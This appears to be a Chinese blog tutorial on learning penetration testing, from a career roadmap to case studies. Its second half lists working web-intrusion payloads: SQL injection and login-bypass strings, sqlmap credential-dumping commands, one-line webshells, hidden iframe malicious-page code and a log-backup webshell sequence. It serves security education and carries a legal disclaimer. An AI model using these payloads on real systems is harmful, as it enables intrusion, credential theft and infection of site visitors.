作者的github资源:
- 逆向分析:https://github.com/eastmountyxz/ SystemSecurity-ReverseAnalysis
- 网络安全:https://github.com/eastmountyxz/ NetworkSecuritySelf-study
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。
一.小白渗透成长之路
这是作者2月27日学习i春秋YOU老师直播分享的渗透技术知识,本次分享的主题是《小白的渗透技术成长之路》。主讲人YOU老师,干货满满,全面剖析了渗透测试的工作、知识体系、学习路径。确实让我受益匪浅,非常感谢老师,也推荐大家去i春秋学习相关的视频。
视频录播地址:
- https://www.ichunqiu.com/open/66249
本次课程主要是告诉初学者如何学习渗透技术,核心内容包括:
- 网络安全行业态势
- 渗透技术整体框架
- 常见的技术手段
- 渗透学习之道
PS:这篇文章主要是基于i春秋老师直播的分享,结合作者之前系列文章的知识点及理解讲解,非常适合想学习网络安全的读者,并且有相关案例及学习方法推荐。如果有侵权立刻删除。
1.行业和职业介绍
网络安全从业人员的年薪在10万-30万以上的占75%以上。任何行业,只要我们技术过硬,能为企业带来价值,也会有相应的回报。希望初学者切勿心急气躁,一定要扎实学习,多实践多编程,加油~
渗透测试技术包括:评估加固、安全攻防、安全运维和等保测评,其中重点是安全攻防和安全运维。
- 安全攻防:Web、内网、移动应用端、IoT、工控安全…
- 安全运维:系统、网络、安全设备、分析…
人才岗位如下图所示:
2.渗透技术整体框架
渗透测试是通过模拟恶意黑客的攻击,来评估计算机网络系统安全的一种评估方法。渗透测试主要分为黑盒测试和白盒测试两种方式。不同的人有不同的框架,这里YOU老师将渗透技术划分为信息收集、外网入口、权限提升与维持、内网渗透四部分。
- 黑盒测试:仅给出URL或网站,对其进行渗透测试或攻击
- 白盒测试:给出网站账号密码或服务器账号密码,进行渗透测试
(1) 信息收集
信息收集包括技术信息收集、人员信息收集、组织信息收集。其中人员和组织信息收集可以通过公开情报收集领域知识实现,比如电话诈骗、商业JD、社会工程学等利用人员弱点识别。由于安全的本质是人与人之间的对抗(攻击者vs防御者),所以就会涉及人员信息和组织信息。
我们重点关注技术信息收集部分,识别一个网站或服务器存在哪些技术漏洞、弱点。技术信息收集包括:
- 端口信息:Nmap扫描 8080端口 Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
- IP信息:C段扫描、撒旦、Zoomeye、fofa等 183.232.231.174 Python攻防之多线程、C段扫描和数据库编程
- 域名信息收集:二级域名爆破、域名注册信息 www.baidu.com Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
- 应用识别:网站CMS识别、目录扫描、信息泄露识别(git、svn等) 网站管理系统 Python攻防之构建Web目录扫描器及ip代理池 hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法
(2) 外网入口
外网入口表示从外部网络进入内部网络的通道。外网入口讲究“见缝插针,伺机而动”,涉及内容包括:
- Web服务器
- V*N服务器
- 邮箱服务器
- APK逆向
- WIFI接口
- 其他
举个例子,某小偷想进入公司进行盗窃,小偷怎么进入公司呢?可以通过门、窗或通风管道。同样,在虚拟网络中,如果你想从外界互联网中进入公司内部网络,你也需要找到相应的通道。
对于一个公司网络来说,它对外的通道有哪些呢?第一个是Web服务器,即大家访问的网站;接着是V*N服务器和邮箱服务器;手机APK逆向能找到手机APP与哪些服务进行交互;WIFI接口表示家庭无线网络同时连接手机和电脑时,它们共同组成了一个内部局域网,而附近的人能搜索到该WIFI网络并爆破其密码,从而植入恶意代码;最后是其他知识。
外网入口涉及技术弱点识别,核心技术及作者的相关博客如下,接下来我会分享安全技术大佬推荐。
- 注入 从数据库原理学习网络攻防及防止SQL注入 虚拟机VMware Kali安装入门及Sqlmap基本用法 Sqlmap基础用法、CTF实战及请求参数设置
- 文件上传 文件上传漏洞和Caidao入门及防御原理(一) 文件上传漏洞和IIS6.0解析漏洞及防御原理(二) 文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三) 文件上传漏洞之Upload-labs靶场及CTF题目01-10(四) 文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
- XSS XSS跨站脚本攻击原理及代码攻防演示(一)
- CSRF CSRF跨站请求伪造 - 时光偏执
- XXE XXE XML外部实体注入 - bylfsj
- SSRF Web安全 SSRF服务端请求伪造 - 小白安全
- 信息泄露 Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
- 弱口令 Python攻防之弱口令、自定义字典生成及网站暴库防护
- 社会工程学 社会工程学之基础概念、IP获取、IP物理定位、文件属性
(3) 权限维持与提升
权限维持与提升讲究“明修栈道,暗度陈仓”,具体技术包括:
- 权限提升 当我们从外部网络进入内网时,通常是低级权限的,此时需要将低权限提升至高权限,比如普通权限提升至管理员权限。
- 权限维护 通过外网入口进入到公司内网之后,接下来应该巩固我们的成果,或者设置一个后门方便我们下次直接从外部网络进入内网,这称之为权限维护。
- Web后门
- 系统后门
巩固权限之后,我们就开始进行内网渗透。
(4) 内网渗透
什么是内网?比如大家连在同一个WIFI下,就可以称为内网。换句话说,从外部网络不能直接访问的网络就称之为内网。比如,在公司文件服务器搭建了一些资源,外部互联网的人是不能直接访问这些资源的。
- 内网信息收集
- 工作组和域
- 横向扩展和纵向扩展
接着我们来看一张网络拓扑图,最常见的企业网络。由图可知,一个企业网络对外通常会存在一个防火墙,防火墙中有个路由器,路由器接入很多电脑,包括三块区域(DMZ区、核心业务区、办公区),DMZ区放置一些对安全性不高的服务器,比如邮件、门户网站服务器等;核心业务区存放企业核心数据库、OA系统、ERP系统;办公区是企业员工办公网络。
假设现在一名白帽子需要攻击测试这个内部网络,想直接访问核心业务区的数据库是不可能的,而公司在DMZ区提供了对外的Web服务器,能够让你直接在互联网里面访问。
- 第一步,信息收集及技术性弱点识别,通过技术性手段拿下公司DMZ区的门户网站这台服务器。
- 第二步,通过门户网站服务器进入到公司的内部网络,我们称之为跳板。接着进行权限的维持和提升,下次再进行攻击时不需要重新收集信息,以门户网站作为据点,对内网进行渗透。
- 第三步,内网渗透并横纵向扩展获取相关信息。
总之,兵无常势,水无常形。Web渗透测试中,信息收集是关键,占据绝大部分工作。而且它们不一定按照信息收集、外网入口、权限维持与提升、内网渗透的顺序执行,会根据具体情况而变化。
3.常见的技术手段
(1) 常见技术概念
选择目标
- 对应用:包括对外网站、对外服务器、公众号&小程序
- 对人:包括V*N、邮箱、Github、云盘
- 对办公区:包括营业厅(网线插拔-物理黑客)、办公中心、数据中心
攻击方法
- 应用层漏洞攻击 SQL注入、文件上传、XSS
- 系统层漏洞攻击 Windows漏洞利用、0day漏洞、方程式组织武器
- 供应链攻击 涉及推送攻击(更新推送 广告推送 插件推送)、设置后门、开发工具和开发环境、源代码存储库、镜像感染、假冒产品。其攻击场景是通过攻击软件开发商控制目标,通过攻击开发者下载软件入口,以开发者开发程序植入为目标,从而感染整条供应链。 举个例子,一个公司的网络安全做得再好,补丁杀毒防火墙都设置,但如果它采购的服务器或安装的软件,从上游供应商购买时就被植入了木马或后门,是不是很可怕,这种攻击很常见。
- 信任源攻击 涉及托管IT提供商(域名 云主机 云办公)、基础办公系统提供商(内部OA 财务 项目管理 代码管理 邮件等系统开发)、IT承包商(V*N联入 源代码)。攻击场景是通过攻击托管IT提供商控制目标,攻击域名托管商、云主机托管商、云办公提供商(文档 网盘 邮件),从而控制权限、劫持挂马、获取敏感信息等。同时,也可以通过攻击基础办公系统提供商。 举个例子,通过外网业务层的应用漏洞进行攻击获取网站权限,并且通过网站权限进行内网漫游(漫游即对内部网络进行扫描渗透)。
- 水坑攻击
- 鱼叉式钓鱼攻击
- 社会工程学
- 物理攻击
- 无线攻击
- 可移动媒介复制/摆渡攻击
(2) 历史案例分析1
该案例均是授权情况下进行的渗透测试,切勿进行非法渗透或攻击。
由该网络拓扑图可知,正常访问时会通过CDN(内容分发转网络)、WAF(应用防护系统)等安全软件,从而过滤并保护我们企业的网络安全。白帽子需要想一个办法:能不能让我们的访问不经过CDN和WAF呢?
答案是可以的。
- 第一步,全面收集信息 通过全面信息收集,找到与目标相关的信息网站。
- 第二步,寻找有用线索 深入分析并发现网站源码内存在真实IP泄露。
- 第三步,进一步搜集和利用有用信息 针对真实IP开展端口扫描,找到对应的端口和服务BBS。该网站存在一个信息泄露的漏洞,通过目录扫描找到泄露的账号密码,即在BBS的日志内搜索并成功解密出用户账号和密码信息。
- 第四步,利用有用信息进入内网 登录BBS系统,发现并利用跟帖上传处漏洞,上传shell(网页后门)成功拿下该服务器system权限,进入内网。system权限是最高权限,该案例免去了权限维持与提升步骤。
- 第五步,内网横向扩展 通过弱口令、历史漏洞等方式,成功拿下内网多台服务器权限,并从中找到了1个涉及多个目标服务器的密码本,此时已成功进入了目标网络的核心业务网段。结合前期收集到的信息,成功登录目标重大项目库的源码服务器,针对源码进行深入分析,从配置文件中找到了系统运维邮件账号和密码,并成功进入运维邮箱。
- 第六步,作为白帽子,立刻告诉该网站管理员并对网站进行维护,提升安全等级及修复漏洞补丁
(3) 历史案例分析2
通过这些案例更希望大家了解渗透测试的基本流程,具体细节需要大家去扎实学习,实践锻炼。接着分享第二个案例,比较复杂,它多了一个域控区域。
- 第一步,全面信息收集 先通过企业对外网站寻找漏洞,选定XXX采购系统开展渗透,爆破(弱口令admin)成功登录网站管理后台,并通过后台获取到目标网站的服务器权限(内网环境),得到内网渗透跳板。
- 第二步,充分利用跳板 通过内网跳板进行横向渗透,成功登录到调度管理平台后台,并能够访问到内部多个关键系统。
- 第三步,充分利用跳板 利用Windows永恒之蓝漏洞成功获取到主键主机(客服的桌面系统)的System权限,通过Windows登录密码获取成功登录到10.x.x.70,10.x.x.73两台机器。整合之前获取的信息,成功登录到10.x.x.57主机,通过主机可以监控到客户服务中心的相关工作业务。
- 第四步,扩大渗透范围,突破核心应用 内网横向扩展渗透,成功获取 CB 域控制器权限,可以对登录CB内的任意机器,下发域策略,抓取域内用户hash值。收集和整理前期成果,发动深入攻击,成功拿到核心应用(综合查询、交易信息查询等)的查询权限,获取到全国范围相关的重要数据(证件号等)。
(4) 历史案例分析3和4
简单讲解后面的两个案例,案例3通过信息收集找到github(代码托管平台)上面的目标信息,即相关公司的内部VN账号、密码,再通过VN连接企业服务器。直接从信息收集进入到内网渗透。
案例4是信任源攻击,邮箱系统提供商给各部门提供服务,通过拿下邮件系统后,成功获取各个公司的关键性数据。信任源即表示政企、学校非常信任邮件系统提供商,如果我们直接怼提供商进行渗透测试,从而进入目标网络。
4.渗透学习之道
(1) 如何学习
下图是十五年前的渗透测试套路,胡萝卜、阿A注入和明小子是很多年前人手必备的工具。
学习渗透测试需要:
- 夯实基础:目前整个安全圈比较浮躁,大家一定要打好基础
- 深入研究:解决自己产生的问题,比如SQL注入是什么,怎么利用SQL注入,再百度谷歌深入
- 分享交流:学会分享,去FreeBuf、看雪、我爱PO解、CSDN等论坛学习,认识安全大牛,加入相关群
- 不停实践:实践是检验真理的唯一标注,切记别做非法攻击或恶意破坏
作者是计算机专业出身,也深知网络安全或系统安全涉及面非常广,也经常会遇到各种问题。我一方面是学会百度谷歌,另一方面积极通过论坛寻求帮助,同时也会在CSDN、B站、公众号、i春秋、看雪、FreeBuf等学习安全知识。确实难,但要去克服~
下图是计算机专业常见的课程表,包括四个层面:
- 硬件:计算机组成原理
- 系统:操作系统(Windows、Linux、Android、Mac)
- 网络:计算机网络
- 应用:PHP、HTML、JavaScript、Java、Python、shell脚本
学习操作系统之前,需要具备C语言基础,需要知道C语言是如何转换成汇编语言的。推荐《逆向工程权威指南》第一册,重点讲解C语言在Linux、Windows环境如何生成汇编代码,接着学习逆向知识,最后学习操作系统。
为什么渗透测试要学习操作系统呢?工作之后你会发现,前几年学技术突飞猛进,但之后会寸步难行,因为基础没有打好,而操作系统、网络这些都是基础,而且内外网与他们息息相关。
计算机网络选择一本学习即可,当年我的教材就是谢希仁老师的《计算机网络》。注意,如果你做渗透测试,前期没学好操作系统好能够理解,但计算机网络是渗透测试关键,一定结合实战学好它。
渗透测试应用层涉及各种编程语言,推荐大家先学习PHP,之后学习Python基础语法,接着HTML和JavaScript,其中JavaScript对于Web渗透也是非常重要的,比如XSS等。语言是永远学不完的,了解之后可以结合实例巩固再深入学习。
接着推荐一些相关书籍:
- 《PHP和MySQL Web开发》机械工业出版社
- 《鸟哥的Linux私房菜 基础学习篇》人民邮电出版社
- 《Google Hacking技术手册》机械工业出版社
- 《XSS跨站脚本:攻击剖析与防御》人民邮电出版社
- 《SQL注入攻击与防御 第二版》清华大学出版社
- 《黑客大曝光:Web应用程序安全》机械工业出版社
- [OWASP_TOP10] 熟悉和理解10大漏洞
- 《Web安全攻防渗透测试实战指南》
总之,破万卷书。 知识面,决定看到的攻击面有多广。 知识链,决定发动的杀伤链有多深。
(2) 如何实践
常用工具很多,结合具体场景选择利用。
- BurpSuite
- Sqlmap
- Metasploit
- Nmap
- AWVS
- Cohalt Strike
同时推荐作者该系列文章,都是从零到壹的介绍。作者将网络安全或Web渗透相关的文章总结如下:
- 网络安全工具篇 [网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例 [网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具 [网络安全自学篇] 十一.虚拟机VMware Kali安装入门及Sqlmap基本用法 [网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一) [网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二) [网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用 [网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一) [网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
- 网络安全技术篇 [网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性 [网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一) [网络安全自学篇] 十九.Powershell基础入门及常见用法(一) [网络安全自学篇] 二十.Powershell基础入门及常见用法(二) [网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集 [网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一) [网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二) [网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三) [网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四) [网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五) [网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六) [网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原 [网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原 [网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验 [网络安全自学篇] 四十八.安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令 [渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入 [渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法 [渗透&攻防] 三.数据库之差异备份及Caidao利器 [渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包
- Python网络安全篇 [网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一) [网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二) [网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护 [网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
- 渗透测试靶场篇 [网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密 [网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一) [网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二) [网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
- 病毒木马制作篇 [网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探 [网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析 [网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验 [网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
- 系统安全工具篇 [网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战 [网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向 [网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
- Windows漏洞利用篇 [网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机 [网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持 [网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解 [网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现 [网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell [网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取 [网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
如何进行实践呢?推荐大家可以从以下四个方面进行渗透实践。
- CTF
- SRC
- 在线靶场
- 自建环境
总结,业精于勤荒于嬉。
- 渗透是一门手艺活,门槛并不高,任何人都能学。
- 既然是手艺活,想要学号,那就要花时间和精力去专研,才能熟能生巧。
- 师傅领进门,修行在个人。
- 兴趣是可以培养的,会做而且做得好,就会有成就感,有了成就感就会产生兴趣。
再次感谢i春秋YOU老师,推荐大家去他们官网学习。也希望大家喜欢这篇文章,接着第二部分将介绍Web渗透的基础技术,包含一些专业术语。
二.Web渗透基础技术
Web渗透及网站入侵初级方法:
(1) 经典注入 判断一个网站是否存在注入点,通常用单引号(’)、and 1=1、and 1=2等来判断。如果and 1=1返回正常页面,and 1=2返回错误页面,或者找不到,即表示存在注入点。
代码语言:javascript复制单引号(')
and 1=1
and 1=2
and 1=1
and 1=2
and 1=1
and 1=2
(2) 万能密码 万能密码就是绕过登录验证直接进入管理员后台的密码,这种类型的密码可以通用到很多存在此漏洞的网站所以称之为万能。由于网站没有过滤or、特色符号、admin等,当我们输入’or’='or’时就能直接登录网站,该漏洞一般存在于ASP类型的网站。
注意,虽然现在能用万能密码进入的网站已经很少了,但有时运气好的情况也许能碰到。同时,后台管理员一定要注意万能密码、弱口令之类的低级错误。
代码语言:javascript复制admin
123456
'or'='or'
'or''='
'or'='--
"or "a"="a
or =1=1 --
'or'='
1 or '1'='1'=1
'OR 1=1
(3) 爆库 指通过一些技术手段或者程序漏洞得到数据库的地址,并将数据非法下载到本地,用爆库之类的工具可以直接就获得管理员用户和密码。黑客非常乐意于这种工作,为什么呢?因为黑客在得到网站数据库后,就能得到网站管理账号,对网站进行破坏与管理,他们也能通过数据库得到网站用户的隐私信息,甚至得到服务器的最高权限。
网站后台管理入口常用的关键字包括:admin.asp、manage.asp、login.asp、conn.asp等,可以通过网站图片属性、网站链接、网站管理系统(CMS)、robots.txt文件进行查找,包括谷歌浏览器的搜索语法:“inurl: asp?id=”、“intitle:后台管理”;也可以通过wwwscan、御剑、阿D注入工具等查找。
举例:在PHP手工高级注入时,用VERSION()这个变量猜出网站数据库版本,如果一个网站数据库大于5.0,且是ACESS数据库,那么提交地址是:http://www.xxx.com/rpc/show24.asp?id=127,我们直接把(为符号的十六进制)加到RPC后面,因为是爆二级目录,即为:http://www.xxx.com/rpc/show24.asp?id=127。如果管理员为了防止他人非法下载数据库,而把数据库改成#database.mdb,如果页面地址为http://www.xx.com/rpd/#database.mdb,那我们把#加到替换#,修改为http://www.xx.com/rpd/#database.mdb。
(4) COOKIE中转注入 COOKIE中转,SQL防注入程序,用于提醒你的IP已被记录。如果检测一个网站时,弹出这样一个对话框,上面出现SQL防注入程序提醒的字语,那么我们可以利用COOKIE中转,注入中转来突破。方法是先搭建一个ASP环境(且网站为ASP网站),然后打开中转工具(如注入中转生成器),记住网站的页面地址粘贴进工具里,把生成的文件放到目录,接下来打开网页并输入http://127.0.0.1:(端口)/目录里文件。如果正常,那么输入http://127.0.0.1:端口/值(目录文件)?提交值,就能通过工具猜表名、列名。 参考文章
- 判断是否可注 sqlmap.py -u “http://192.168.226.129/shownews.asp” --cookie “id=234”
- 爆数据库 sqlmap.py -u “http://192.168.226.129/shownews.asp” --cookie “id=234” --dbs
- 爆表 sqlmap.py -u “http://192.168.226.129/shownews.asp” --cookie “id=234” --tables
- 爆字段 sqlmap.py -u “http://192.168.226.129/shownews.asp” --cookie “id=234” --columns -D “masterdb” -T “admin”
- 爆账号密码 sqlmap.py -u “http://192.168.226.129/shownews.asp” --cookie “id=234” --dump -D “masterdb” -T “admin” -C “username,password”
(5) 手工注入&&旁注 ASP手工语句:
- 表名 and exists (select * from 表名)
- 列名 and (select count(列名) from 表名)>0
- 长度 and (select top 1 len(username) from admin)>0
- 内容 and (select top 1 asc(mid(username,1,1)) from admin)>100
PHP手工语句:
- 字段 order by(猜字段)
- 段数 and 1=2 union select (字段数)
- 位置 and 1=2 union selsect from(位置)
如果有30个字段,那么就应该在注入地址后输入: http://www.xxx.com/showfo.jsp?id=130 and 1=2 union select 1,2,3, … ,28.29,30
几个常用变量:
- USER()
- VERSION()<数据库版本>
- database()<数据库名称>
推荐作者文章:
(6) 拿Webshell 如果进入后台无法点数据库备份时,可以通过抓包并上传木马,从而拿到Webshell。工具抓包如WOSCK,木马包括一张图片、一句话木马等,读者可以自行搭建一个上传页面地址,通过UPLOAD加载,UPFILE上传。
两段经典挂马代码:
- HTML挂马
<html>
<iframe src="http://www.xxxx.com/2.htm" width="0" height="0" frameborder="0"></iframe>
</html>
- Java挂马
<script language=javascript>
window.open("http://www.xxx.com/2.htm","","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,width=1,height=1");
</script>
(7) 数据库备份拿Webshell和一句话木马入侵 通常进入后台,发现有数据库备份,可以直接拿Webshell。方法是找一个添加产品的地方,传一个大马(格式为JPG图片),然后把图片地址粘贴到数据库备份处,如SHELL.ASP,通过地址访问进入Webshell了,这就是一句话木马入侵提权。
代码语言:javascript复制asp:
<%execute(request("value"))%>
php:
<?php @eval($_POST[value]);?>
aspx:
<%eval(Request.Item["value"])%>
(8) DB权限差异备份拿WEBSHELL 数据备份主要分位完全备份、增量备份和差异备份。其中差异备份是指备份自上一次完全备份之后有变化的数据,在差异备份过程中,只备份有标记的那些选中的文件和文件夹。它不清除标记,即备份后不标记为已备份文件,不清除存档属性。
如果一个网站注入点是MYSQL数据库,且是DB权限或SA权限,能够列目录,那就直接找到网站的目录,目录通常在D和E盘,备份木马并拿到WEBSHELL。其中差异备份 手工注入流程如下:
- 修改数据库设置为恢复模式 http://xxxxx/show.asp?code=-1’ alter database ahykd_new set RECOVERY FULL – 完全恢复模式是默认的恢复模式。在完全恢复模式下,需要手工的对事务日志进行管理,优点是可以恢复到数据库失败或者指定的时间点上。
- 备份当前数据库日志到文件 http://xxxxx/show.asp?code=-1’ backup log ahykd_new to disk=‘C:windowstemptemp0720’ with init – 备份数据库日志到服务器上,其中路径表示服务器的。 重点:路径不能太显眼,比如"C: 720"这样。
- 建立一张表和一个字段 http://xxxxx/show.asp?code=-1’ create table tt(a text)–
- 往表中插入一句话Muma http://xxxxx/show.asp?code=-1’ insert into tt(a) values(’<%eval request(“Shsh”) %>’) – 一句话Muma插入到数据库tt表的a字段中,执行接收自定义Shsh参数,类似于URL的Code参数,相当于是一个侧门,第二部分Caidao会使用到。
- 再次备份日志 http://xxxxx/show.asp?code=-1’ backup log ahykd_new to disk=‘e:NewsRepindex0.asp’ – 再次备份日志,备份路径为网站服务器路径,重点是如何获得这个路径呢?在网站注入时,报错提示通常会呈现相关文件路径。
- 删除表 http://xxxxx/show.asp?code=-1’ drop table tt –
此时,数据库差异备份的漏洞已经弄好,后面直接使用Caidao利器。
(9) 找后台 找后台,一般默认为:
- admin
- admin/admin.asp
- admin/login.asp
- .admin_login.asp
- manage/login.asp
- login.asp
- logon,user.asp
- admin/index.asp
当然,这只是默认,一些大网站不可能还用admin作为后台,有的隐藏很深的,可以通过Google Hacking语法搜索,简单用 “site:网站 inurl:后台” 来猜,或者下载源HTML文件分析找出后台,或者用各种工具来扫描了,方法很多。
- inurl:asp?id=
- inurl:show.asp
- inurl:went.asp
- inurl:jsp?id=
- inurl:php?id=
- inurl:flasher_list.asp
- site:xxxx.comintext:管理
- site:xxxx.cominurl:login
- inurl:bbsdata
- filetype:mdb
(10) 脚本提示 有的网站要求进入后台会出现一个脚本提示,就像VB编程里INPUTBOX “”,一个对话输入框,我们输入administrator突破,admin代表以管理员身份来进入。
(11) PHP后门和EWEBEDITOR编辑器入侵 PHP后门如之前爆出的DISZ漏洞,在一个PHP网站后面加C.PHP,如果出现1,那么传个PHP马就拿到WEBSHELL。EWEBEDITOR编辑器入侵是很快速的方式,设置好上传文件类型传ASA,或者其他的格式,然后访问拿到WEBSHELL。
(12) 上传漏洞 有的网站虽然没有注入点,但存在一个上传漏洞,那么我们如何来利用呢?首先,打开上传地址看是否存在,如果有,试想传一个ASP马是不行的,那么传一句话看看,先看能成功不,页面地址格式要对应。
如果一个网站地址弹出对话框,显示上传成功,那么证明可以拿到WEBSHELL,传马即可,另外有的没有任何显示,直接空的,那么可以构建两个上传,第一个传JPG的图片,第二个传ASP马。
如果一个网站地址出现文件类型不正确,请重新上传,那么证明90%可以拿到WEBSHELL,只是格式不对、不允许,修改后缀,只要是网站没有过滤的格式。如果一个网站地址显示请登陆再上传,那么证明没有拿到COOKIS,思路是想办法得到COOKIS,然后上传成功。
(13) 简单提权拿下服务器和SERV提权和pcanywhere三方提权 简单拿下服务器就是拿下网站IP主机,首先我们需要一个WEBSHELL,然后看看组件信息,看看路径可读可以写不。如果有一个可以,那么来到CMD命令下,输入可写的文件内容,执行命令加一个帐号和最高管理权限,然后输入netstat -an,得到主机连接端口,然后用3389连接进入,让其成为R鸡,这样比较隐蔽我们操作。
(14) 反查入侵和旁注和社会工程学 反查IP入侵,也就是入侵21端口,首先入侵网站先PING WWW.XXX.COM,然后到反查IP站点查挂了多少个域名,接下来,添加webmaster@地址加入字典,然后用流光探测密码,登陆ftp://ip并输入用户和密码。也可以通过社会工程学X-WAY来得到FTP密码,相关经验需要实践总结。
(15) 跨站脚本攻击 三段经典跨站代码:
代码语言:javascript复制<script>alert("跨站开始")</script>
<script>alert("document.cookie")</script>
<script>window.open(http://www.baidu.com)</script>
(16) 关注网站框架CVE漏洞及版本补丁信息 利用常见的漏洞,如动网BBS可以先用:dvbbs权限提升工具,使自已成为前台管理员。再运用动网固顶贴工具,找个固顶贴取得COOKIES。还有一些老漏洞,如IIS34的查看源码,都是可以直接利用的;同时关注CVE漏洞信息,大多数企业不一定能及时更新补丁。这里也提醒企业管理员,及时更新补丁、加强防火墙保护。
三.总结
文章写到这里,就介绍完毕,希望文章对您有所帮助。这篇文章主要讲解了i春秋YOU老师的分享视频,同时包含作者大量的博客知识,希望您能学习消化,一起走进Web渗透的世界。
也希望这系列文章对您有所帮助,同时真的感觉自己技术好菜,要学的知识好多。从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行,感谢很多人的帮助,继续爬着,继续加油!
学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全和系统安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。编程没有捷径,逆向也没有捷径,它们都是搬砖活,少琢磨技巧,干就对了。什么时候你把攻击对手按在地上摩擦,你就赢了,也会慢慢形成了自己的安全经验和技巧。加油吧,少年希望这个路线对你有所帮助,共勉。
参考文献:
- [1] https://www.ichunqiu.com/open/66249
- [2] 渗透小方法-万能密码 爆路径 - Wh0ale
- [3] 怎么简单快速入侵网站 - cookie-niu
- [4] 渗透之——网站入侵思路 - 冰河
- [5] Cookie中转注入 - lanyincao